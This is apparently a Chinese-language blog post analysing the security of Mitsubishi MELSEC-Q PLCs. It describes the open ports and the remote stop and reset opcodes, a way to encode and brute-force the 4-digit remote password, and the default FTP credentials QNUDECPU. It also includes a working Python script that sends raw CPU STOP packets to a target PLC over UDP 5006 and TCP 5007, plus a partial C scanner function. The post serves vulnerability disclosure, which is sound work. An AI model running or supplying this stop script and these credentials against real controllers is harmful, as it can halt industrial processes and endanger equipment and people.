三菱Q系列PLC安全分析报告(MITSUBISHI ELECTRIC MELSEC-Q series PLC Analysis Report)

简要分析说明

0x1
以Q03UDE CPU模块(自带以太网口)为例,默认状态下未修改任合扩展协议设置,端口开放了TCP/5007,UDP/5006(用于与编程软件通过以太网方式通信)。
connect
0x2
GX Developer是三菱各系列PLC的官方编程软件,在与PLC通讯可以选择多种总线通讯方式,当然也支持以太网与PLC CPU通信。软件与PLC通讯时可以使用选择UDP(5006)或者TCP(5007),不在相同网段实现配置基于UDP广播。
connectcap
0x3
通过分析软件与PLC的通讯报文,在进行关键操作时应用层报文与开放的三菱Q系列MELSEC通讯协议(可百度)有相似之处,如果操作码,例远程读取CPU信息(0101),远程停止cpu(1002),远程reset(1006)。如果编程软件曾经和PLC之间有过通讯则可能就会造成如下视频中的状况。
stop
0x4
启用远程口令保护后,远程操作PLC部分功能需要验证口令,三菱系列PLC密码固定为4位,验证密码时软件会请求密码验证帧,4位密码会按顺序加密成固定的有序的4字节,例如设置的密码为1111则对应57,2e,c3,fa,而4321则为54,30,c0,fa(通过密码对应关系即可组合穷举破解密码,这里虽然我们根据正确密码与错误密码返回的不同报文判断,并实现了穷举的工具,但是我们不认为有很高的命中率,并且有可能导致PLC工作异常,err灯亮)。
testpass
attpasswd
0x5
启用扩展FTP后,FTP存在默认口令用户名密码均为QNUDECPU,FTP欢迎标识明显如下图,可以作为设备识别的手段,可使用SHODAN等引擎搜索,用户登录FTP后可以使用命令获取CPU中的参数和数据等用户文件。
ftptest

测试演示视频

Link to Video

测试代码

#coding:utf-8
import sys
import socket

print 'ICS Security Workspace'
print 'Mitsubish Q PLC CPU Modules Remote STOP'
ip = raw_input("enter PLC ip:")
test = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
test.connect((ip, 5006))
# 59 00 01 00 00 11 11 07 00 00 ff ff 03 00 00 fe 03 00 00 06 00 16 40 57 31 c1 ff
# 报文最后4个字节为密码加密字段
# 57 31 c1 ff对应1234			
#test.send('\x59\x00\x00\x00\x00\x11\x11\x07\x00\x00\xff\xff\x03\x00\x00\xfe\x03\x00\x00\x06\x00\x16\x40\x57\x31\xc1\xff') #密码认证帧
#10 02 CPU停止功能码
test.send('\x57\x00\x00\x00\x00\x11\x11\x07\x00\x00\xff\xff\x03\x00\x00\xfe\x03\x00\x00\x14\x00\x1c\x08\x0a\x08\x00\x00\x00\x00\x00\x00\x00\x04\x10\x02\x08\x00\x00\x00\x01\x00')
str = repr(test.recv(1024))
print 'Send UDP CPU STOP Package'
test1 = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
test1.connect((ip, 5007))
test1.send('\x57\x00\x00\x00\x00\x11\x11\x07\x00\x00\xff\xff\x03\x00\x00\xfe\x03\x00\x00\x14\x00\x1c\x08\x0a\x08\x00\x00\x00\x00\x00\x00\x00\x04\x10\x02\x08\x00\x00\x00\x01\x00')
str1 = repr(test1.recv(1024))
print 'Send TCP CPU STOP Package'
raw_input('enter exit')

Discovery Mitsubish Q PLC Function :

#define MITSUBISHI_TCP_PORT    5007
//使用0101功能读取CPU信息
static int PlcScanMitsubishi(in_addr_t ipAddr)

{
    int             i;
    int             nRet = -1;
    int             nSockFd = -1;
    struct in_addr  in;
    unsigned char   uchRequest[] = {0x57, 0x00, 0x00, 0x00, 0x00, 0x11, 0x11, 0x07, 0x00
                                    , 0x00, 0xff, 0xff, 0x03, 0x00, 0x00, 0xfe, 0x03, 0x00
                                    , 0x00, 0x14, 0x00, 0x1c, 0x08, 0x0a, 0x08, 0x00, 0x00
                                    , 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x01, 0x01
                                    , 0x00, 0x00, 0x00, 0x00, 0x01};

    unsigned char   uchResponse[256] = {0};
    int             nResponse = 0;
	
#define MITSUBISHI_CPU_INDEX    41
#define MITSUBISHI_CPU_LEN      15

Password Table:
passwd

About Z-0ne

Leave a Reply

Your email address will not be published. Required fields are marked *